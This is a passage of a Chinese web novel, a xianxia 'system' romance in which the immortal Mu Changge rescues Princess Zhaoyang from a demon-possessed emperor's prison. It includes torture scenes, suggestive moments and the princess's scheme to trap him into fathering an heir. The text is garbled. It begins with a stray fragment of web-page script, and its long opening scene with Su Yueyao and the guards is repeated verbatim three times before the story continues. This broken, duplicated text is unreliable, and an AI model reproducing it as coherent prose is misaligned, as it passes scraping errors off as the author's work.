$(''.inform'').remove(); $(''#content'').append('' 这姑娘怕得指尖都在发抖,仍挺直腰背,挡在他与黑甲卫之间。 而后,苏月瑶冲着他盈盈一礼,“家父当朝宰辅苏明远,道长若不嫌弃,请入府稍作歇息,再上路不迟。” “苏小姐!” 一名卫兵厉声喝道,“此人乃妖道,为了您的安全,所以还是.” “闭嘴!” 苏月瑶厉声呵斥,世家贵女威依尽显,“我乃相门之女,姨母又为当朝国母,我要做什么,轮得到你一个戍卫指手画脚?” 那人无奈,只能看向自己统领。 慕长歌暗自失笑,倒是气势十足,可惜她后背的衣料,已经被冷汗侵透,紧贴着一截纤细的腰线。 同时,他指尖闪过微弱灵光,正欲上前的将领脚步那么一顿,好似定格在了原地。 他眼中黑雾渐渐褪去,茫然地摸了摸脖子,那里原本狰狞的黑纹竟已消失无踪。 一阵清风拂过,他打了个寒颤,仿佛大梦初醒。 他这是? 将领低头看着自己握刀的手,掌心还残留着未散的黑气。 记忆如碎片般用来。 皇宫深处传来的诡异嘶吼,钦天监众人入狱,再到昭烈下令抓捕道士 “将军?” 士兵小心翼翼地唤道,“这妖道” “闭嘴!” 这声厉喝吓了他们一跳。 他盯着慕长歌的酒葫芦,看着上面的符文,莫名感受了舒适。 陛下为何会做出这样的事,他丝毫想不起来,又是轻微的头痛。 他想起三日前,钦天监监正入狱时,那位白发老者所说的话。 “王朝自有气运庇佑,成也气运,劫也气运,当你们看见北斗倒悬,便是真仙降临,解救我们之时,魔,终将覆灭。” 魔? 在何处? 这名将领下意识握紧战刀,反惊愕地发现. “北北斗倒悬!” 他如电光般看向慕长歌,咕咚咽了口唾沫。 莫非监正的话都是真的,这位小道长不是凡人,而是仙人所化? “将军可是身体不适?贫道对医术略懂一二,让我给将军瞧瞧?” 他走上前,在那人眼前打了个响指,“将军若要发现皇城有何异样切莫声张,日后可到苏小姐府邸找我。” 苏月瑶听闻暗自一喜,做了个请的手势。 慕长歌并未上车,徒步进入皇城。 他身影渐行渐远,可皇城上空的场景,在那位王统领眼中发生了极大的变化。 这姑娘怕得指尖都在发抖,仍挺直腰背,挡在他与黑甲卫之间。 而后,苏月瑶冲着他盈盈一礼,“家父当朝宰辅苏明远,道长若不嫌弃,请入府稍作歇息,再上路不迟。” “苏小姐!” 一名卫兵厉声喝道,“此人乃妖道,为了您的安全,所以还是.” “闭嘴!” 苏月瑶厉声呵斥,世家贵女威依尽显,“我乃相门之女,姨母又为当朝国母,我要做什么,轮得到你一个戍卫指手画脚?” 那人无奈,只能看向自己统领。 慕长歌暗自失笑,倒是气势十足,可惜她后背的衣料,已经被冷汗侵透,紧贴着一截纤细的腰线。 同时,他指尖闪过微弱灵光,正欲上前的将领脚步那么一顿,好似定格在了原地。 他眼中黑雾渐渐褪去,茫然地摸了摸脖子,那里原本狰狞的黑纹竟已消失无踪。 一阵清风拂过,他打了个寒颤,仿佛大梦初醒。 他这是? 将领低头看着自己握刀的手,掌心还残留着未散的黑气。 记忆如碎片般用来。 皇宫深处传来的诡异嘶吼,钦天监众人入狱,再到昭烈下令抓捕道士 “将军?” 士兵小心翼翼地唤道,“这妖道” “闭嘴!” 这声厉喝吓了他们一跳。 他盯着慕长歌的酒葫芦,看着上面的符文,莫名感受了舒适。 陛下为何会做出这样的事,他丝毫想不起来,又是轻微的头痛。 他想起三日前,钦天监监正入狱时,那位白发老者所说的话。 “王朝自有气运庇佑,成也气运,劫也气运,当你们看见北斗倒悬,便是真仙降临,解救我们之时,魔,终将覆灭。” 魔? 在何处? 这名将领下意识握紧战刀,反惊愕地发现. “北北斗倒悬!” 他如电光般看向慕长歌,咕咚咽了口唾沫。 莫非监正的话都是真的,这位小道长不是凡人,而是仙人所化? “将军可是身体不适?贫道对医术略懂一二,让我给将军瞧瞧?” 他走上前,在那人眼前打了个响指,“将军若要发现皇城有何异样切莫声张,日后可到苏小姐府邸找我。” 苏月瑶听闻暗自一喜,做了个请的手势。 慕长歌并未上车,徒步进入皇城。 他身影渐行渐远,可皇城上空的场景,在那位王统领眼中发生了极大的变化。 这姑娘怕得指尖都在发抖,仍挺直腰背,挡在他与黑甲卫之间。 而后,苏月瑶冲着他盈盈一礼,“家父当朝宰辅苏明远,道长若不嫌弃,请入府稍作歇息,再上路不迟。” “苏小姐!” 一名卫兵厉声喝道,“此人乃妖道,为了您的安全,所以还是.” “闭嘴!” 苏月瑶厉声呵斥,世家贵女威依尽显,“我乃相门之女,姨母又为当朝国母,我要做什么,轮得到你一个戍卫指手画脚?” 那人无奈,只能看向自己统领。 慕长歌暗自失笑,倒是气势十足,可惜她后背的衣料,已经被冷汗侵透,紧贴着一截纤细的腰线。 同时,他指尖闪过微弱灵光,正欲上前的将领脚步那么一顿,好似定格在了原地。 他眼中黑雾渐渐褪去,茫然地摸了摸脖子,那里原本狰狞的黑纹竟已消失无踪。 一阵清风拂过,他打了个寒颤,仿佛大梦初醒。 他这是? 将领低头看着自己握刀的手,掌心还残留着未散的黑气。 记忆如碎片般用来。 皇宫深处传来的诡异嘶吼,钦天监众人入狱,再到昭烈下令抓捕道士 “将军?” 士兵小心翼翼地唤道,“这妖道” “闭嘴!” 这声厉喝吓了他们一跳。 他盯着慕长歌的酒葫芦,看着上面的符文,莫名感受了舒适。 陛下为何会做出这样的事,他丝毫想不起来,又是轻微的头痛。 他想起三日前,钦天监监正入狱时,那位白发老者所说的话。 “王朝自有气运庇佑,成也气运,劫也气运,当你们看见北斗倒悬,便是真仙降临,解救我们之时,魔,终将覆灭。” 魔? 在何处? 这名将领下意识握紧战刀,反惊愕地发现. “北北斗倒悬!” 他如电光般看向慕长歌,咕咚咽了口唾沫。 莫非监正的话都是真的,这位小道长不是凡人,而是仙人所化? “将军可是身体不适?贫道对医术略懂一二,让我给将军瞧瞧?” 他走上前,在那人眼前打了个响指,“将军若要发现皇城有何异样切莫声张,日后可到苏小姐府邸找我。” 苏月瑶听闻暗自一喜,做了个请的手势。 慕长歌并未上车,徒步进入皇城。 他身影渐行渐远,可皇城上空的场景,在那位王统领眼中发生了极大的变化。 第167章 醉仙楼外听秘闻,昭阳公主陷牢狱 他看到整个皇城被浓稠如墨的黑气笼罩,那黑气中隐约可见狰狞面孔翻滚。 皇宫方向一道漆黑光柱直冲云霄,与黑气连成一体。 王统领双腿发软,险些跪倒在地。 他终于明白监正大人所言非虚,这皇城怕是早已被妖魔占据。 再看向慕长歌远去的背影,那道青衫在暮色的天幕下,泛着淡淡金光,如同黑夜中的萤火,微弱却坚定不移。 神仙... 真的是神仙! 王统领喃喃自语,转过身厉喝众人,“今日所见所闻,谁敢泄露半个字,杀!” …… 官道上。 苏月瑶提着裙摆快步追赶慕长歌。 她步伐轻盈如蝶,绣鞋踏过青石板时几乎不发出声响,天地间那仅有的光芒,为她长裙镀上流动的光晕。 “我名苏月瑶,不知公子名讳?” 跟上后,她终于鼓足勇气开口,声音细弱蚊蝇。 慕长歌脚步未停,微微侧首,报了个自己的名号。 苏月瑶心头一颤,默念着他的名字。 长歌。 是长风过境,孤雁掠云。 是寒江独钓,雪落无声。 这名字极其衬他。 还有他说话时,尾音带着三分懒散的余韵,似那诗行末尾一笔悬而未落的墨。 慕长歌察觉到自己被注视着,便瞥过目光,浅浅一看。 苏月瑶脸颊微红,心虚地躲过视线。 “公子为何不坐马车,可是觉得...不方便?” 话说一半,她耳尖红透,悄悄抬眼,“其实...没什么的...” 苏月瑶暗自懊恼,自己往日也能侃侃而谈,可在这位公子面前,连句话都说不利索。 “无妨,我就是想随意走走。” 慕长歌扫过少女发颤的指尖,“方才多谢姑娘解围,倒是姑娘身为大家闺秀,如此抛头露面反而不适。” “公子~” 她轻咬着下唇,又慌忙低头,“月瑶并非那种娇生惯养的女子...” 苏月瑶眼角余光瞥向他,心中泛起阵阵暖意。 这位公子定是看出她走不惯远路,又顾及她闺秀名声,才这般委婉提醒。 似这体贴,哪里是那高高在上的仙神? 倒像是...话本里走出来的翩翩公子。 想到这里,苏月瑶突然惊醒,慌忙掐了自己一把。 她这是疯了吗? 竟对初次见面的男子生出这般心思! 可转念一想,若真是仙神... 苏月瑶芳心剧烈跳动。 一间名为醉仙楼的酒楼前,慕长歌停顿了脚步。 苏月瑶一个没留神,险些撞上他后背,她惊呼一声,慌乱间绣鞋绊到石子,整个人向前栽去。 预想中的疼痛并未到来,一只温暖的手掌,稳稳托住她手肘,恰到好处的力道,让她既不会跌倒,又不至于入怀。 苏月瑶抬头,略有失望,他那澄澈的双眸,关注点并不在自己身上,就好似她这个人,对他来说不具备任何魅力。 马车上帘子掀开,小桃看着这一幕,不由地手扶额头。 小姐怎么肥四? 端庄秀雅呢? 怎么成了花痴妹? 还有这个道士也是,怎的如此不解风情。 自家小姐那么美,就好像入不得他眼似的,只看着那酒楼里面,难道是饿了? 秀色可餐不懂么。 有小姐在,哪个正常男人想的是吃? 就算是吃,那该吃的,不也是些别的... 苏月瑶慌忙起身,正要开口道谢,见他眉头一皱,只听酒楼二层传来了隐隐约约的声音。 “听说了么,昭阳公主居然被下狱了!” “嘘!你不要命了,这种事也敢说,就是可惜了公主,遇上个这么糊涂的君父。” “可不是,咱们神煌王朝能如此兴盛,那可都是昭阳公主的功劳,那个昏君整日贪图享乐不够,竟还将公主下了牢狱!” 慕长歌天眼瞳亮起,视线穿过木制楼板。 二楼雅座内,三个衣着华贵的公子哥围坐着,居中那个身着靛蓝锦袍,腰间悬着块羊脂玉,面容白净,带着几分酒色过度地憔悴。 左侧是个圆满胖子,十根手指戴着八个宝石戒指,右侧是个瘦高个,正紧张地左右张望。 “先生这行当素来消息灵通,可否讲讲详情?” 蓝袍男子掏出一锭金子拍在桌上,“讲得好,缺不了赏钱。” 角落里,一位蓄着山羊胡的说书人眼睛一亮。 他佝偻着背凑过来,干瘦的手指飞快地摸走金锭,“承认几位厚爱,既然诸位有意,小老儿今儿个就豁出去了。” 说书人清了清嗓子,惊堂木一拍。 “话说三日前深夜,昭阳公主披星戴月从北境赈灾归来,诸位可知,北境三州大旱,颗粒无收,全赖公主变卖首饰,筹得三十万石粮食...” 瘦高个突然插嘴,“不是说朝廷拨了五十万石吗?” “呵..” 说书人冷笑,“那五十万石粮到北境,只剩下五万,公主查账时发现,经手官员全是国舅爷的门生。” 他压低声音,“公主为平民愤,当即斩了三个贪官,回到皇城就上了清吏十策。” 圆脸胖子猛拍桌子,“所以那昏君因为这个?” “是也不是,昏君当时正在与一名不知何处而来的妖道炼制长生丹,连奏折都没看。 说书人摇头晃脑,“国舅爷为求自保,撺掇贵妃吹了耳边风,说公主目无君父,擅杀大臣。” 雅间内突然安静。 圆脸胖子捏碎手中酒杯,“好个昏君,没有昭阳公主整顿吏治,他哪来的银子炼丹修仙?” “就是!” 瘦高个愤然道,“公主推行新政,减轻赋税,不惜得罪了权贵,好处没捞到,反惹一身骚!” “钦天监为何不阻止昭烈这行为?” 蓝袍男子问道。 说书人叹了口气,“监正早就说过,以丹药求长生非正途,而且那昏君丝毫听不进去,不过有一事,却是奇怪。” 望着众人挑起的眉梢,他悄声说道,“就是给他炼丹的妖道,事后不见了,没人知道从何处来,又从何处去。” 楼下,慕长歌眉头微蹙,如此看来,这位昭阳公主,应该就是他要找的人。 得人心,利万民,舍自身,保千秋,是为王朝气运之女。 “慕公子..” 苏月瑶拽了拽他衣袖,面露痛色,“昭阳公主是我表姐,她若有事,这个王朝的明日就见不到太阳了...” “咦....” 慕长歌眉宇间闪过些诧异,“姑娘怎知明天有雨?” “???” 不是? 他当真是仙人? 还是暗有所指,今夜会有大事发生? 苏月瑶刚要询问,就看到慕长歌回过头看向了茶楼,只是微笑中,勾起了极致的寒意。 “最可笑的是,昭烈可就公主一位子嗣。” 说书人一边叹气一边惋惜,“当年他流连青楼染了脏病,虽保住性命,可再也不能生育,如今把公主下了狱,岂不是在自掘坟墓?” “还有监正大人得知此事,怒发冲冠,当朝骂那昏君堕落成魔,与魔物为伍,迷失了心智,因此整个钦天监也被下了大狱。” 第168章 月瑶巧施美人计,孕灵圣体惊长歌 里面的声音尽管很小,仍是被苏月瑶一字不落地听了去。 二楼分明是个雅间,以她的耳力,理应听不到才是,可偏偏就听到了。 “慕公子,你可有办法救救昭阳表姐?” 苏月瑶攥紧衣袖,“她不只是我的亲人,她还建立女子学堂,给寻常百姓更多出路,我不想看到她有事。” “救人尚且需自救。” 慕长歌浅笑着,“楼上那位蓝袍公子不似普通人,若姑娘不介意,可去见他谈论一二,以姑娘的美貌,这种公子哥手拿把掐。” 苏月瑶美眸微睁。 他怎知楼上有位蓝袍公子,难不成真是神仙。 所以刚才的谈话,故意让她听到的? 不过,他说得对,救人尚需自救,岂能依杖他人。 实际上,她并不知道慕长歌此举的真正意义,若那昭阳公主,是为气运之女。 如此做法,便可令众人万众一心,增强自身之王朝气运,那魔头想伤她,更加不易。 怀着满腹心思,她随着慕长歌登上二楼。 推开雅间的门,蓝袍公子手中的茶杯摔碎在地。 “苏小姐?!” 他起身行礼,眼中满是错愕,“在下张贺,家父刑部尚书,姑娘不是逃了么,怎么回来了,若被那昏君知道...” “逃?” 张贺怎知她逃走这件事? 苏月瑶俏脸煞白,“是不是我父亲他?” 她通过张贺的表情得出了答案,父亲绝对被那昏君打入了大牢。 在慕长歌看来,这并不奇怪。 苏月瑶虽非气运之女,可身为宰辅之女,素来与昭阳交好,多多少少具备些王朝气运。 只要是王朝气运,都是那魔头用来恢复的养料,何况拿下她,那魔物就有机会,进一步击溃昭阳的心理防线。 昭阳心神失手,就是他吸取气运的大好时机,总之比较复杂,慕长歌说了这些,其他人也听不明白。 根据他的推算,那魔物的本源已然与昭烈融为了一体,如今昭烈就是魔物,魔物就是昭烈。 这就是上古魔尊,果然难缠,阴无涯那厮若有这个本事,又何至于那般轻易被他所杀。 以慕长歌的性子,巴不得真刀真枪,跟那魔物打一场,奈何失去了先机。 不过也无妨,乌云魔尊如今本源大量遗失,只靠昭烈这位君王身上的气运苟延残喘。 那么这气运消失,自是可以斩了他,这便是他与苏月瑶所说的那句,救人尚且需要自救。 此刻,苏月瑶也从心神冲击中缓和了许多。 她轻咬着薄唇,“张公子,月瑶个人生死事小,能否请你拜托令尊,无论如何都要联合诸多同僚,保住昭阳公主?” “这...” 张贺面露难色,“家父虽掌刑部,但诏狱由禁军直接管辖...我父亲他..” 他欲言又止,想着委婉拒绝。 美人虽好,轮不到他捡便宜,为此全家丢了小命,太不划算。 那昏君尚在震怒中,这个时候谁人敢去触霉头。 哪成想,苏月瑶上前一步,冰凉的小手握住了他的手,“张公子,拜托了...” 感受到那双小手的触感,张贺如遭雷击。 他看着苏月瑶含泪的眸子,心脏被狠狠撞了一下。 “死就死吧!” 张贺一拍桌子,把旁边的几个同伴吓了一跳,“事关国体,苏小姐放心,这件事包在我身上!” “多谢公子。” 苏月瑶破涕为笑,盈盈一礼。 慕长歌失笑,果然无论何时,只要美女柔弱,就是男人的克星,将这项技能发扬光大的莫过于绿茶。 “这位公子安心就是。” 他笑得颇具仙人之姿,望向窗外早已转黑的天色,“明日将会有一场雨,届时好生利用。” 张贺茫然眨眼,待到苏月瑶和慕长歌离去,他转向同伴,“什么雨?跟雨有什么关系?” “莫不是要借助雨天劫狱?” “……” 来到相府,苏月瑶吩咐小桃收拾了客房。 月光透过窗棂,在她精致的侧脸投下斑驳光影。 “我让人为公子准备些膳食。” 她对着慕长歌福了福身,“今日天色已晚,公子用过后那便早些休息,月瑶不打扰了。” 慕长歌来到院中,眉心金光微闪,神识如潮水蔓延,很快锁定了皇城西北角的诏狱。 那里黑气正浓,隐约可见一个纤细的身影,被锁在玄铁牢笼中。 …… “公子,用膳了。” 小桃端着食盒轻叩房门,等了片刻不见回应。 她犹豫着推开门,屋内空空如也,夜风卷着纱帘翻飞。 小桃慌慌张张地跑了出去,看到苏月瑶刚好走了过来,“小姐,不好了,那位慕公子不见了!” 苏月瑶微惊,连忙跑进了客房,果然空无一人。 这么晚了。 他...去了哪儿? 苏月瑶叫来院中下人,询问之下,谁都不曾看到慕长歌。 而后,小桃便惊奇地发现,自家小姐的慌张之色全然不见,反而焕发了一抹笑意,着实让她摸不着头脑。 只说了一句,该回来时,公子自会回来,吩咐她将膳食放在桌子上,苏月瑶回了闺房。 子时的更鼓刚过,慕长歌的身影穿过了诏狱重墙,腐臭味中混着奇异的檀香,越往深处,香气愈发浓烈。 直到他隐匿下的身影,透过铁栅,看见一名女子。 那女子一身雪白中衣,早已被血痕浸透,那些鞭痕纵横交错,在月光下呈现出暗红色。 她双手被锁链吊起,脚尖勉强点地。 “叮!检测到气运之女!” 【姓名:昭阳】 【身份:神煌王朝公主】 【修为:宗师(凡人武道中的强者)】 【气运值:100000】 【体质:孕灵圣体】 【性格:外柔内刚,坚韧不屈,心怀天下】 【备注:此女身负王道气运,乃天定后继之君,建议宿主以解救苍生为切入点,辅以适当展现实力】 【注意:该目标厌恶轻浮之举,请保持庄重姿态(目标自身主动轻浮除外)】 慕长歌嘴角微抽,什么叫自动主动轻浮除外? 堂堂一国公主,难不成有那轻浮之举。 这十万气运值倒是有些超乎他的想象,到底是天定之女。 只是... “系统,孕灵圣体是为何意?” “叮!检测到宿主所思所想,本统给予肯定答复,你负责冲,她负责孕,命中率高达百分之八十。” “所以呢...” 慕长歌满头黑线,倒也没有过多表现。 毕竟这系统的尿性,他慢慢地早就习惯了。 “本统为你操碎了统心,你若攻进她的芯,子嗣必成君主,将永享神煌王朝气运加持,飞升仍享回报。” “……” 慕长歌被怼得哑口无言,眼下还是攻芯...啊呸....救人要紧。 他尚未现身,昭阳却是听到了脚步声。 月光照在她脸上,那是一张即使染血,也难掩绝色的容颜。 “昭阳,第十九次鞭刑的时辰到了。” 狱卒打开了牢门,声音带着不正常的亢奋,“君主特意吩咐,这一次要蘸盐水。” 第169章 诏狱惊变仙人现,昭阳绝处逢生机 昭阳连一个眼神懒得给那狱卒,只是盯着铁窗外的那轮血月。 狱卒被她的无视激怒,手中沾了盐水的皮鞭啪地抽在地上,“贱人,还以为自己是高高在上的公主吗?” 昭阳嘴角勾起一抹凄惨的笑,一滴晶莹之物顺着脸颊滑落。 “想我昭阳自幼承载使命,从未有过片刻懈怠。” 她声音初始很轻,转而势钧力沉,“奈何君父昏庸,终坠入邪道,为魔物所控。” 她艰难直起腰身,锁链哗啦作响,“我死不足惜,唯恨不能拨乱反正,可惜了神煌王朝的子民,将坠入黑暗!” “闭嘴!” 狱卒暴怒,扬起鞭子就要抽下,“不过是个阶下囚,也敢...” 动作突然定格,一根修长的手指凭空出现,点在了他眉心。 慕长歌指尖金光流转,轻吐一字,“破。” 那狱卒浑身剧烈颤抖,眼中黑气如潮水褪去。 当最后一丝魔气消散,狱卒看清了眼前景象,顿时面如土色。 “公主...” 他颤抖着跪下,“属下有罪,竟将公主伤到...” 话未说完,他晕了过去。 昭阳诧异地望着出现在她眼前的这个青衫男子。 月光下,他眉目如画,周身似有清风环绕,与这肮脏的牢房格格不入。 “你是...” 她声音沙哑。 连这人怎么出现的都不知道。 慕长歌不答,抬手轻挥,束缚住她的铁链应声而断,上面的魔纹禁锢跟着全部消失。 她向前栽去,被一双有力的臂膀稳稳接住。 “可还能走?” 他问道。 昭阳试图站直,却因双腿长时间悬吊而麻木不堪。 她咬紧牙关,额头渗出细密汗珠,“能!” 本着系统提供的攻略建议,慕长歌仙风道骨般的一笑。 “不必硬撑,我乃谪仙人,来此人间拯救尔等王朝,区区小伤何足道哉,且看我一指去来。” 他点在她的眉心,昭阳身上的伤并没有抹去。 这让慕长歌错愕了片刻,他又点出一指,那伤势依旧不曾褪去。 不是。 什么情况? 以他的修为,为个凡女恢复伤势,再简单不过了,怎会如此? 昭阳亦然迷茫地眨了眨眼。 这人莫非脑子不太好? 可又忍不住一笑,虽然是个神棍,可能潜进牢狱中,还能打碎了铁链,想来亦是有些本事。 退一步,就算是个平凡人,能为她闯进诏狱,单以这份心,就足以令她感动。 “系统,我的灵力呢?” 慕长歌一脸尴尬地问。 “本统暂时禁锢!” “……” 坑爹啊! 这系统没病吧? 好端端的,禁锢他的灵力做什么? 这不是存心让他难堪么! 此外,他的丹药以凡人之躯,那也承受不住啊。 “叮!恭喜宿主攻略神煌王朝气运之女昭阳,攻略进度5%,获得气运值返还5000点!” “……” 啥情况? 出个丑,反而意外地攻略了一次这丫头? 随后,慕长歌将她抱起,“得罪了。” 昭阳下意识要挣扎,紧接着听到远处传来诡异的咯咯声。 转头看去,走廊尽头,几个狱卒正以扭曲的姿势走来。 他们的关节完全反转,嘴角咧到了耳根,眼中漆黑一片。 “魔气侵体!” 难怪诏狱这般安静,以凡俗之人的力量,想要在这些人手里救出人,无异于痴人说梦。 昭阳最终脱离慕长歌怀抱,站在他身前挡住那些狱卒,“道长不必为我舍命相救,还请速速离去。” 她催动内力,可气血不顺,吐出一口鲜血。 即便如此,她也没有过多犹豫,掌间泛起微弱的光芒,依旧向着那些人冲去。 冲出去的瞬间,她似乎听到了爆裂声,晃眼间,狱卒全部倒了下去,只有一道高大威猛的身影,站在她面前。 那人浑身肌肉暴涨,后背尽是流畅的线条。 昭阳愣神的刹那,已是被他横抱而起。 “公主莫慌,贫道既然来了,就没人能伤你。” 他低了下头,“你可信我?” 昭阳看着他澄澈如星的眼眸,下意识地点着头。 甚至她自己说不上为什么,就这样依偎在一个陌生男人怀里,不仅没有丝毫排斥,反而异常安心。 她被一双有力的臂膀稳稳托着,那坚实的胸膛传来阵阵温热。 透过自己单薄的衣衫,她能清晰地感受到对方肌肉的轮廓,又恰到好处地收敛着,生怕弄疼了他。 “叮!恭喜宿主攻略气运之女昭阳,攻略进度20%,获得气运值返还15000点。” “恭喜宿主获得奖励,解除灵力禁锢!” 就无语。 这算什么奖励? 不过转念一想,狗系统在攻略方面,倒是个不折不扣的助攻小能手,简直比他还要着急。 看来系统比他活了这千年的人,更加懂女人。 试想一下,当一个女人陷入黑暗的时刻,有一个人犹如曙光,照入她的世界。 这个男人既英俊潇洒,又有无可匹敌的实力,就是一颗石头做的心,也能融化。 “抱紧了。” 两人出了诏狱。慕长歌脚下腾起来云雾,昭阳未来得及反应,已然腾空而起。 夜风呼啸掠过耳畔,皇城的灯火在脚下迅速变小。 她抓紧慕长歌的手臂,仰头望着他棱角分明的侧脸,月光为那轮廓镀上一层银边,恍若神祇。 昭阳心中喃喃自语,自己是不是在做梦。 这几日她经历了太多,父亲为魔物所控,让她从高高在上的公主沦为阶下囚。 外人看来是那位国舅爷让他作为贵妃的妹妹,在父亲面前吹了枕边风,实际上是魔物为了得到她身上的气运,导致她受尽了酷刑。 没人清楚那一夜发生了什么,可她却知道。 钦天监的道法,她也略通一二,只是凡尘之法,终归抵不过真正的仙法。 纵然她看得清,可无力改变,她不是魔物的对手。 监正曾说,王朝的护体龙气,可保君主以及承载气运之人百邪不侵,但她不明白,为何邪魔能够侵染她的父亲。 打入牢狱后,最黑暗的时刻,她甚至想过一死了之。 可现在,她竟然被一个陌生男子抱着飞在夜空之中。 慕长歌看出她的疑惑,微笑着说了句,“祸害你父亲的魔头名为乌云魔尊,乃是一缕意识,他残存的本源与你父亲融为了一体。” “这魔物很是狡猾,擅长蛊惑人心,也是你父亲经不住长生的诱惑,自主接受了他的本源,因此人不是人,魔不是魔。” 随着慕长歌的解释,昭阳逐渐明白了过来。 难怪护体龙气并未产生作用,只因是她父亲自主接受,承载了那魔物的本源。 长生...对他就那么重要? 昭阳闭了闭眼,再次睁开时,随他降落在一处庭院内。 似乎有些熟悉。 她想了想,问道,“这是相府?” 慕长歌用微笑作为回答,抱着她走进了自己的客房。 “你是仙人?” 昭阳扶着床沿,看着他问,“为什么救我?” “此处需要你这样的君主。” 慕长歌负手看向了窗外,“那魔物逃至凡界,是我等的过失,苦果不该由你们承受。” 第170章 公主暗藏病娇心,仙师反成猎物身 “其实,你可以不用说实话的。” 她抬眸望向窗外的月色,“我不知道你们那里发生了什么,可这样说了以后,会让我们这些凡人,对你们心生埋怨。” “你没有。” 慕长歌转身,目光灼灼,“不是吗?” “我们自己不争气,何来的资格去埋怨?” 昭阳又问了句,“神仙的肉,好吃么?” “???” 慕长歌未等反应,就见昭阳抓起他的手臂,银牙轻轻咬了上去。 她松开嘴,看着那个浅浅的牙印,满意地点头,“我对你们的过失,做出了惩罚。” 慕长歌心头微动,这位公主看似柔弱,骨子里却有一股倔强,身为金枝玉叶,甘愿为百姓赴汤蹈火。 明明可以借机索取更多,却选择用这种方式两清。 甚至见了他的神通,也不肯要求相助,可见她从未真正享受过锦衣玉食的安逸。 慕长歌内心狠狠被针给扎了一下,她不过二十几岁的年华,承受了太多这个年纪不该有的责任。 “有我在,日后无人可伤你,我会助你解决一切烦恼,让你登临那个位置,成为神煌王朝的女帝,这是天命所归。” 他轻抚昭阳的头。 昭阳别过脸,耳尖微红,“你可否穿件衣服,当前未免...不雅。” 慕长歌这才意识到,自己保持着炼体状态。 肌肉贲张的上身,就这么大剌剌地暴露在月光下,他连忙掐诀,身形恢复如常。 崭新的青衫凭空出现,妥帖地罩在身上,这功法哪都好,就是废衣服。 这一幕,看得昭阳暗自惊奇,终究是仙人临世,处处彰显着不凡,且这英俊的相貌,简直彰显着仙人的特质。 就是不知...仙人是否如凡人这般,拥有情欲? 看他的样子,似乎并非无情之仙,否则又岂会来到凡界,理会他们的死活。 那若是...自己将他强行困住留在凡界,再孕育出个子嗣,是否可保神煌王朝永盛不衰? 嗯... 似乎可以尝试。 监正曾给她一样至宝,名为捆仙索,出其不意可困修士,就是不知能不能困住他。 即便留不下他,也要完成子嗣这件事。 至少她将来的孩子,拥有仙人血脉,成就定然不凡,既确保了传承,又可使王朝兴盛。 “叮!恭喜宿主攻略气运之女昭阳,攻略进度30%,获得气运值返还10000点!” “恭喜宿主获得额外奖励,美颜护肤创伤膏,使用后可使肌肤,恢复原本状态。” 咦? 系统给他这个做什么? 昭阳的伤只需他动动手指,就可轻易抹除。而且这丫头为何会突然被攻略? 等等? 为何他看到了一丝占有欲? “叮!检测到昭阳心态变化,逐渐解锁隐藏性格。” 嗯? 隐藏性格,是什么? “病娇!” 系统的回答让慕长歌惊掉了下巴。 堂堂一国公主,真实的性格居然是个病娇? 这也太.... 他都不知道该怎么去形容了。 有病! 一定有病! 这丫头定吃了太多的苦,又无处发泄,所以造就了这个性子,等他解决了这里的事,可要尽快跑路。 病娇啊! 谁知道解锁出真实的个性会怎样,万一影响到了王朝的运转,天道规则还不活劈了他。 慕长歌掌心一翻,一个白玉小盒凭空出现,他总觉得不按照系统的方法去做,还会被封了灵力。 随着盒盖打开,里面容纳着莹润如雪的膏体,“此物可助公主恢复伤势,涂抹后不会留疤。” 他刚要将药膏递过去,就见昭阳解开了衣带,雪白的后背毫无保留地展露在他面前。 纵横交错的鞭痕,在月光下格外狰狞,有几处甚至还在渗血。 “仙师唤我昭阳便可。” 她背对着,声音轻柔,“有劳仙师为我涂药。” “……” 慕长歌手指一颤,无奈地蘸取药膏,涂抹着那些伤口,“我是男人。” 指尖触碰到肌肤,她明显颤抖了一下,很快恢复镇定。 昭阳侧过脸,看不出表情变化,“仙师可是暗示我什么?” “公主在考验我?” 这丫头就不怕自己一个忍不住,给她由女孩变成女人? 那些鞭痕虽然可怖,掩不住她肌肤的细腻触感。 药膏化开的瞬间,淡淡的莲香,混合着她身上特有的幽香,在房间内萦绕不散。 “夜已深,此处只有你我二人,仙师不必拘泥于其他。” 昭阳声音带着几分慵懒。 她话锋一转,眼中闪过一丝异色,“只是昭阳不解,以仙师的神通,为我治伤何须用到这些?” “这个...” 慕长歌的手僵硬在半空,“公主非寻常之人,我的仙法于你不起作用。” 昭阳眼中闪过暗喜,这就证实了她的猜测。 在诏狱时,他那一指是想用神通给她疗伤,只是她有王朝气运护体,所以不起作用。 那这么看来,拿下这个男人,以此给她提供后继之君生产力这件事,岂不是提高了八成概率? 不!九成八! 仙师? 呵! 既然来了,就逃不出她昭阳的手心。 她那嘴角不经意间扬起了弧度,看得慕长歌抖了抖。 这丫头在想什么? “叮!恭喜宿主攻略气运之女昭阳,攻略进度40%,获得气运值返还10000点!” “恭喜宿主获得额外奖励,孕灵丹!” “功效:与孕灵圣体结合,可保子嗣孕育成功率提升至100%,已为宿主自动吞服。” 咕咚! 一声吞咽在寂静的房间中格外清晰,丹药顺着慕长歌喉咙滑落。 系统这是来真的? 难不成他这一生,拥有的第一个子嗣,是和凡间女子所生的? 慕长歌有些哭笑不得,倘若如此,他就只是一个血脉提供者。 天道规则,凡间王朝可享受气运,代价是皇室之人,无法凝聚灵力,也就不能踏上修行路。 昭阳听到他那声吞咽,将散落的青丝拢到了一侧。 那里涂抹过药膏的肌肤,已是莹润如玉。 她看了看自己的肩膀,仙物到底不同于平凡之物,不但修复了伤痕,还让她的肌肤更胜往昔。 只是! 仙师又如何。 还不是折服于本公主。 很好,这般拿下他的概率,就提升到了九成九。 昭阳不着痕迹地打量着眼前这个俊美男子,宽肩窄腰,肌肉线条流畅而不夸张,正是孕育子嗣的最佳选择。 对了,还不知道他的名字。 似乎也不重要。 将来的孩子,总是要以昭字为性。 至于他—— 先以露水姻缘,试着将其留下。 实在不行,再让监正想个办法,能否以她的气运作为镇压,将这个男人永远困在她的寝宫之内。 慕长歌敏锐地察觉到昭阳眼神的变化,他后背一凉,生出一种被猎人盯上的感觉。 “叮!恭喜宿主攻略气运之女昭阳,攻略进度50%,获得气运值返还10000点!” “……” 慕长歌严重怀疑,这确定是他攻略的? 第171章 昭阳晨起现真容,仙师惊艳暗心动 “公主早些休息,我在一旁打坐即可。” 慕长歌随意找了个位置,盘膝而坐,闭目凝神。 昭阳侧卧在床榻,单手托腮,目光灼灼地看着。 月光透过窗棂,在他棱角分明的侧脸上,投下斑驳的光影。 